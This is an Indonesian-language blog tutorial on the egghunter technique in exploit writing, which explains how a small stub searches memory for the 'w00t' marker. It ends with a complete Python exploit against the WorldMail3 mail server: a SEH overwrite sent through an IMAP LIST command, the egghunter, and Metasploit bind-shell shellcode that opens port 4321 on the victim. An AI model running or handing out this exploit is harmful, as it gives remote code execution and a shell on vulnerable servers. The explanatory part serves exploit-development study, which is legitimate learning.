Egg Hunter

Apa sih..?? berburu telur paskah…?? heemm… egghunter adalah salah satu tehnik yang digunakan dalam pembuatan exploit. Ada kalanya ketika kita menulis sebuah exploit, kita berhadapan dengan “ruang” yang sempit untuk memasukan shellcode yang kita miliki, untuk mengakali sempitnya “ruang” tersebut, kita bisa menggunakan tehnik egghunter untuk mengeksekusi(loncat ke) shellcode yang kita miliki.

Dengan egghunter, kita tidak perlu tau dimana lokasi shellcode kita berada di memori, karena egghunter akan mencarikan lokasi shellcode kita dan mengeksekusinya.

Disini kita akan mencoba tehnik egghunter pada worldmail3, exploit dari worldmail3 bisa di temukan di sini.

Pada tulisan ini, saya tidak akan membahas langkah-langkah penulisan exploit tersebut, tapi dengan merubah exploit tersebut saya akan menjelaskan bagaimana egghunter bekerja.

Pada saat kita melakukan fuzzing terhadap worldmail3, kita bisa melihat bahwa kita hanya memiliki sedikit ruang untuk menempatkan shellcode.

Nah pada kondisi seperti gambar di atas, kita bisa memanfaatkan egghunter.

lalu bagaimana sih isi egghunter??

egghunter = (“x66x81xCAxFFx0Fx42x52x6Ax02x58xCDx2Ex3Cx05x5Ax74xEFxB8″
“x77x30x30x74″ # this is the egg: w00t
“x8BxFAxAFx75xEAxAFx75xE7xFFxE7″)

Coba perhatikan bagian yang di komen, anda melihat kalau ada “w00t” disitu, egghunter di setup untuk mencari kata “w00t (x77x30x30x74)” dalam memori, ia akan melakukan looping sampai menemukan “w00t” pada memori, setelah menemukan “telurnya (w00t)”, maka ia akan mengeksekusi shell yang ada setelahnya. Pada proses ini selain akan memakan resource penggunaan CPU hingga 100%, juga akan memakan waktu dalam usaha pencarian “telur” tersebut. (yah lumayan jadi sempat bikin kopi lah… :D)

jadi bisa kita gambarkan garis besar Buffer akan terlihat seperti ini:

Buff= "err" + junk + nseh + seh + egghunter + nops + 'w00tw00t' + shell

terlihat di atas terdapat dua buah w00t sebelum shell, ini dikarenakan hunter akan mencari dua buah “telur(w00t)” sebelum mengeksekusi shell. Pada gambar dibawah kita bisa melihat bahwa egghunter di letakan setelah eksekusi NextSEH pada stack.

ok, kurang lebih beginilah penjelasan singkat saya mengenai egghunter, mudah2an mudah dipahami dan tidak membingungkan.. ?

dan berikut ini exploit yang saya buat:

#!/usr/bin/python
#======================================
#Worldmail Exploit (EggHunter-SEH based exploit)
#Bind to port: 4321
#c0d3r: otoy
#======================================

import sys
import struct
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

seh= '\x35\x31\x6d\x01' #pop pop ret
jmpseh='\xeb\x06\x90\x90' # ret - jmp 6 byte down bypass the pop pop ret

egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x77\x30\x30\x74" # this is the egg: w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

# win32_bind - EXITFUNC=thread LPORT=4321 Size=342 Encoder=Pe\xFnstenvMov http://metasploit.com
shell = ("\x6a\x50\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x90\x86\xc4"
"\xec\x83\xeb\xfc\xe2\xf4\x6c\xec\x2f\xa1\x78\x7f\x3b\x13\x6f\xe6"
"\x4f\x80\xb4\xa2\x4f\xa9\xac\x0d\xb8\xe9\xe8\x87\x2b\x67\xdf\x9e"
"\x4f\xb3\xb0\x87\x2f\xa5\x1b\xb2\x4f\xed\x7e\xb7\x04\x75\x3c\x02"
"\x04\x98\x97\x47\x0e\xe1\x91\x44\x2f\x18\xab\xd2\xe0\xc4\xe5\x63"
"\x4f\xb3\xb4\x87\x2f\x8a\x1b\x8a\x8f\x67\xcf\x9a\xc5\x07\x93\xaa"
"\x4f\x65\xfc\xa2\xd8\x8d\x53\xb7\x1f\x88\x1b\xc5\xf4\x67\xd0\x8a"
"\x4f\x9c\x8c\x2b\x4f\xac\x98\xd8\xac\x62\xde\x88\x28\xbc\x6f\x50"
"\xa2\xbf\xf6\xee\xf7\xde\xf8\xf1\xb7\xde\xcf\xd2\x3b\x3c\xf8\x4d"
"\x29\x10\xab\xd6\x3b\x3a\xcf\x0f\x21\x8a\x11\x6b\xcc\xee\xc5\xec"
"\xc6\x13\x40\xee\x1d\xe5\x65\x2b\x93\x13\x46\xd5\x97\xbf\xc3\xd5"
"\x87\xbf\xd3\xd5\x3b\x3c\xf6\xee\xd4\x0d\xf6\xd5\x4d\x0d\x05\xee"
"\x60\xf6\xe0\x41\x93\x13\x46\xec\xd4\xbd\xc5\x79\x14\x84\x34\x2b"
"\xea\x05\xc7\x79\x12\xbf\xc5\x79\x14\x84\x75\xcf\x42\xa5\xc7\x79"
"\x12\xbc\xc4\xd2\x91\x13\x40\x15\xac\x0b\xe9\x40\xbd\xbb\x6f\x50"
"\x91\x13\x40\xe0\xae\x88\xf6\xee\xa7\x81\x19\x63\xae\xbc\xc9\xaf"
"\x08\x65\x77\xec\x80\x65\x72\xb7\x04\x1f\x3a\x78\x86\xc1\x6e\xc4"
"\xe8\x7f\x1d\xfc\xfc\x47\x3b\x2d\xac\x9e\x6e\x35\xd2\x13\xe5\xc2"
"\x3b\x3a\xcb\xd1\x96\xbd\xc1\xd7\xae\xed\xc1\xd7\x91\xbd\x6f\x56"
"\xac\x41\x49\x83\x0a\xbf\x6f\x50\xae\x13\x6f\xb1\x3b\x3c\x1b\xd1"
"\x38\x6f\x54\xe2\x3b\x3a\xc2\x79\x14\x84\x7f\x48\x24\x8c\xc3\x79"
"\x12\x13\x40\x86\xc4\xec")

buffer = '\x41'*770 + jmpseh + seh + egghunter + '\x90'*7000 +'w00tw00t'+ shell +'}'*10

s.connect((sys.argv[1],int(sys.argv[2])))
data=s.recv(1024)
s.send('a001 LIST '+buffer+'rn')
print "[+]exploiting the server...!! (may take up to a minute)"
print "[+]Connect with netcat to port 4321 (to victim ip)"

Berikut ini Screenshot pada saat exploit di jalankan.

Lebih lanjut soal Egg Hunter: